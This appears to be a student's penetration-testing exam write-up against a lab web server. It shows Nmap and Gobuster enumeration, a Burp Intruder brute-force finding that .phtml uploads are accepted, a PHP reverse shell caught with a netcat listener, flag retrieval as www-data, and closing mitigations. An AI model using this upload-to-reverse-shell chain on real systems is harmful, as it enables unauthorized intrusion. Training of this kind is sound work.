

Scenario No: 1 | Linux Command Line Operations Assessment

1. Directory :

Final_exam/
/Reports
/Tools
/Backup
/Notes

```
(kali㉿kali)-[~]  
$ mkdir -p Final_exam/{reports,tools,Backup,notes}  
  
(kali㉿kali)-[~]  
$ ls Final_exam  
Backup  notes  reports  tools
```

2. Bash script inside tools directory

Current logged-in username: kali

Current working directory: /home/kali/Final_exam/tools

IP address information: 192.168.220.128

Hostname: kali

```
(kali㉿kali)-[~]  
$ cd Final_exam/tools  
  
(kali㉿kali)-[~/Final_exam/tools]  
$ vi sysinfo.sh  
  
(kali㉿kali)-[~/Final_exam/tools]  
$ chmod +x sysinfo.sh
```

```
echo "Current logged-in username: $(whoami)"  
echo "Current working directory: $(pwd)"  
echo "IP address information:" $(ifconfig)  
echo "Hostname: $(hostname)"
```

```
(kali㉿kali)-[~/Final_exam/tools]  
$ ./sysinfo.sh > sysinfo.txt  
  
(kali㉿kali)-[~/Final_exam/tools]  
$ cat sysinfo.txt  
Current logged-in username: kali  
Current working directory: /home/kali/Final_exam/tools  
IP address information: docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255 ether 9a:73:4e:c8:a0:f2 txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 5 overruns 0 carrier 0 collisions 0 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.220.128 netmask 255.255.255.0 broadcast 192.168.220.255 inet6 fe80::e6ed:e7d0:8026:e6e2:prefixlen 64 scopeid 0x20<link> ether 00:0c:29:cd:08:8c txqueuelen 1000 (Ethernet) RX packets 962701 bytes 956006162 (911.7 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 616880 bytes 83640484 (79.7 MiB) TX errors 0 dropped 81 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 754 bytes 111152 (108.5 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 754 bytes 111152 (108.5 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 tun0: flags=209<UP,POINTOPOINT,RUNNING,NOARP> mtu 1380 inet 192.168.146.47 netmask 255.255.128.0 destination 192.168.146.47 inet6 fe80::7bb2:6659:8e54:58d2 prefixlen 64 scopeid 0x20<link> unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC) RX packets 394696 bytes 118028274 (112.5 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 498066 bytes 112665505 (107.4 MiB) TX errors 0 dropped 162 overruns 0 carrier 0 collisions 0  
Hostname: kali
```

3. Move the sysinfo.txt file to backup directory

```
(kali㉿kali)-[~]  
$ mv Final_exam/tools/sysinfo.txt Final_exam/Backup/backup_of_sysinfo.txt  
  
(kali㉿kali)-[~]  
$ ls Final_exam/Backup  
backup_of_sysinfo.txt  
  
(kali㉿kali)-[~]  
$
```

4. Delete the tools directory.

```
(kali㉿kali)-[~]  
$ rm -r Final_exam/tools  
  
(kali㉿kali)-[~]  
$ ls Final_exam  
Backup  notes  reports
```

5. Create a new user named john, set a password for the user, and add the user to the sudo group.

```
(kali㉿kali)-[~]  
$ sudo adduser john  
[sudo] password for kali:  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for john  
Enter the new value, or press ENTER for the default  
Full Name []: John  
Room Number []:  
Work Phone []:  
Home Phone []:  
Other []:  
Is the information correct? [Y/n] y
```

Username: John

password: kali

Group: sudo

```
(kali㉿kali)-[~]  
$ sudo usermod -aG sudo john  
  
(kali㉿kali)-[~]  
$ id john  
uid=1003(john) gid=1003(john) groups=1003(john),27(sudo),100(users)
```

Scenario No: 2 | Service Enumeration & Vulnerability Identification

1. Perform a full Nmap port scan to identify all open ports, running services, service versions, and operating system information.

Ans:

Port	State	Service	Version
21/tcp	Open	FTP	vsftpd 3.0.5
22/tcp	Open	SSH	OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
139/tcp	Open	NetBIOS/SMB	Samba smbd 4
445/tcp	Open	NetBIOS/SMB	Samba smbd 4
3128/tcp	Open	HTTP Proxy	Squid http proxy 4.10
3333/tcp	Open	HTTP	Apache httpd 2.4.41

OSs: Unix, Linux;

```
(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 5000 10.48.188.98
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-17 07:44 -0400
Warning: 10.48.188.98 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.48.188.98
Host is up (0.12s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3128/tcp  open  squid-http
3333/tcp  open  dec-notes

Nmap done: 1 IP address (1 host up) scanned in 43.57 seconds
```

```
(kali㉿kali)-[~]
└─$ nmap -sV -sC -O -p 21,22,139,445,3128,3333 10.48.188.98
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-17 07:58 -0400
Nmap scan report for 10.48.188.98
Host is up (0.089s latency).

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 3.0.5
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   3072 b0:9c:c7:a6:4e:4f:f2:50:ec:eb:26:43:cb:69:00:fd (RSA)
|   256 7d:67:e7:11:dc:28:f5:71:56:6a:ee:f4:8b:fb:6f:22 (ECDSA)
|_  256 8a:c1:d7:23:25:73:f5:9c:c9:26:96:01:f3:c3:37:66 (ED25519)
139/tcp   open  netbios-ssn  Samba smbd 4
445/tcp   open  netbios-ssn  Samba smbd 4
3128/tcp  open  http-proxy   Squid http proxy 4.10
|_ http-title: ERROR: The requested URL could not be retrieved
|_ http-server-header: squid/4.10
3333/tcp  open  http         Apache httpd 2.4.41 ((Ubuntu))
|_ http-title: Vuln University
|_ http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (96%), Google Android 10.X|11.X|12.X (93%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:google:android:10 cpe:/o:google:android:11 cpe:/o:google:android:12 cpe:/o:linux:linux_kernel:5.4 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3
Aggressive OS guesses: Linux 4.15 - 5.19 (96%), Linux 4.15 (96%), Linux 5.4 (96%), Android 10 - 12 (Linux 4.14 - 4.19) (93%), Android 10 - 11 (Linux 4.14) (92%), Android 9 - 10 (Linux 4.9 - 4.14) (92%), Android 12 (Linux 5.4) (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
Service Info: OSS: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```


2. Identify the web application service and perform hidden directory enumeration to discover potential attack points and accessible directories.

Ans:

Item	Finding
Web application service	Apache HTTP
Web port	3333
Web URL	http://10.48.188.98:3333
Hidden directory found	/internal/
Full discovered URL	http://10.48.188.98:3333/internal/
	http://10.48.188.98:3333/internal/uploads/
Potential attack point	File upload form

```
(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.48.188.98:3333 -w /usr/share/wordlists/dirb/common.txt
=====
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://10.48.188.98:3333
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:      /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent:    gobuster/3.8.2
[+] Timeout:      10s
=====
Starting gobuster in directory enumeration mode
=====
.hta                (Status: 403) [Size: 279]
.htaccess           (Status: 403) [Size: 279]
.htpasswd           (Status: 403) [Size: 279]
css                 (Status: 301) [Size: 317] [--> http://10.48.188.98:3333/css/]
fonts               (Status: 301) [Size: 319] [--> http://10.48.188.98:3333/fonts/]
images              (Status: 301) [Size: 320] [--> http://10.48.188.98:3333/images/]
index.html          (Status: 200) [Size: 33014]
internal            (Status: 301) [Size: 322] [--> http://10.48.188.98:3333/internal/]
js                  (Status: 301) [Size: 316] [--> http://10.48.188.98:3333/js/]
server-status       (Status: 403) [Size: 279]
Progress: 4613 / 4613 (100.00%)
=====
Finished
=====
```

```
(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.48.188.98:3333/internal -w /usr/share/wordlists/dirb/common.txt
=====
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://10.48.188.98:3333/internal
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:      /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent:    gobuster/3.8.2
[+] Timeout:      10s
=====
Starting gobuster in directory enumeration mode
=====
.htaccess           (Status: 403) [Size: 279]
.hta                (Status: 403) [Size: 279]
.htpasswd           (Status: 403) [Size: 279]
css                 (Status: 301) [Size: 326] [--> http://10.48.188.98:3333/internal/css/]
index.php           (Status: 200) [Size: 525]
uploads             (Status: 301) [Size: 330] [--> http://10.48.188.98:3333/internal/uploads/]
Progress: 4613 / 4613 (100.00%)
=====
Finished
=====
```

Scenario No: 3 | Exploitation Analysis & Mitigation

1. What is the full URL of the page that contains the file upload form?

Ans:

<http://10.48.188.98:3333/internal/>

2. Perform a file extension brute-force attack to identify the accepted file extension on the web server. Which file extension is allowed to be uploaded to the server?

Ans:

The file upload options allows to upload **.phtml** file and we can upload any malware through it

3. Intruder attack of http://10.48.188.98:3333

Attack Save ?

Results Positions

Capture filter: Capturing all items Apply capture filter

View filter: Showing all items

Request	Payload	Status code	Response rec...	Error	Timeout	Length ^	Comment
7	phtml	200	101			760	
0		200	94			774	
1	html	200	102			774	
2	php1	200	109			774	
3	php2	200	108			774	
4	php3	200	116			774	
5	txt	200	103			774	
6	jpg	200	117			774	

Payloads Resource pool Settings

Request	Payload	Status code	Response rec	Error	Timeout	Length
Request Pretty Raw Hex 1 POST /internal/index.php HTTP/1.1 2 Host: 10.48.188.98:3333 3 Content-Length: 298 4 Cache-Control: max-age=0 5 Accept-Language: en-US,en;q=0.9 6 Origin: http://10.48.188.98:3333 7 Content-Type: multipart/form-data; boundary=---WebKitFormBoundaryRLzPuj16JyR5Gz1q 8 Upgrade-Insecure-Requests: 1 9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,i mage/avif,image/webp,image/apng,*/*;q=0.8,application/s igned-exchange;q=0.7 11 Referer: http://10.48.188.98:3333/internal/ 12 Accept-Encoding: gzip, deflate, br 13 Connection: keep-alive 14 15 -----WebKitFormBoundaryRLzPuj16JyR5Gz1q 16 Content-Disposition: form-data; name="file"; filename="shell.phtml" 17 Content-Type: application/octet-stream			Response Pretty Raw Hex Render 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36			

3. Exploit the vulnerability, obtain a reverse shell, and extract the user flag from the target machine.
Ans:

File Reverse shell.php

```
(kali㉿kali)-[~]  
$ locate shell.php  
/home/kali/Desktop/shell.php  
/home/kali/Downloads/php-reverse-shell.php  
/usr/share/laudanum/php/php-reverse-shell.php  
/usr/share/laudanum/php/shell.php  
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php  
/usr/share/laudanum/wordpress/templates/shell.php  
/usr/share/webshells/php/php-reverse-shell.php  
/usr/share/webshells/php/Findsocket/php-Findsock-shell.php  
/var/www/html/DVWA/hackable/uploads/shell.php
```

File: shell2.phtml

Index of /internal/uploads/			
Name	Last modified	Size	Description
Parent Directory	-	-	-
shell.phtml	2026-05-17 08:14	0	
shell2.phtml	2026-05-17 08:27	5.4K	

Apache/2.4.41 (Ubuntu) Server at 10.48.188.98 Port 3333

Obtain Reverse Shell

```
(kali㉿kali)-[~]  
$ nc -lvnp 1234  
listening on [any] 1234 ...  
connect to [192.168.146.47] from (UNKNOWN) [10.48.188.98] 51890  
Linux ip-10-48-188-98 5.15.0-139-generic #149-20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux  
08:36:37 up 55 min, 0 users, load average: 0.00, 0.00, 0.00  
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
/bin/sh: 0: can't access tty; job control turned off  
$ ls  
bin  
boot  
dev  
etc  
home
```

Extract User Flag: 8bd7992fbe8a6ad22a63361004cfcedb

```
snap  
srv  
sys  
tmp  
usr  
var  
vmlinuz  
vmlinuz.old  
$ cd home  
$ ls  
bill  
ubuntu  
$ cd home/bill  
/bin/sh: 4: cd: can't cd to home/bill  
$ cd /home/bill  
$ ls  
user.txt  
$ cat user.txt  
8bd7992fbe8a6ad22a63361004cfcedb  
$
```

Scenario No: 4 | Professional Reporting Psychomotor

Task 1: Linux Command Line Operations

Step	Result
Created main directory	Final_exam
Created subdirectories	reports, tools, Backup, notes
Created system information script	Completed
Generated system info file	sysinfo.txt
Moved backup file	Backup/backup_of_sysinfo.txt
Deleted tools directory	Completed
Created user	john
Added user to sudo group	Completed

Task 2: Service Enumeration and Vulnerability Identification

Executive Summary: The target machine was scanned and multiple open services were identified, including FTP, SSH, SMB, Squid Proxy, and an Apache web service. The main web application was found on port 3333.

- ❖ Risk level is **Medium to High**.

Task 3: Exploitation Analysis and Mitigation

Executive Summary: The web application contained an insecure file upload feature that allowed a PHP-based reverse shell payload to be uploaded using the **.phtml** extension. This allowed remote shell access as the web server user.

- ❖ Risk level is **High**.
- ❖ Reverse shell access was successfully obtained, and the user flag was extracted from the target system.

Recommended Mitigation

Issue	Recommendation
Insecure file upload	Restrict file types and block executable extensions such as .php, .phtml , .php5
Upload directory execution	Disable script execution inside upload folders
Exposed services	Close unnecessary ports and services
Web server security	Apply patches and harden Apache configuration
Monitoring	Enable logging and monitor suspicious upload activity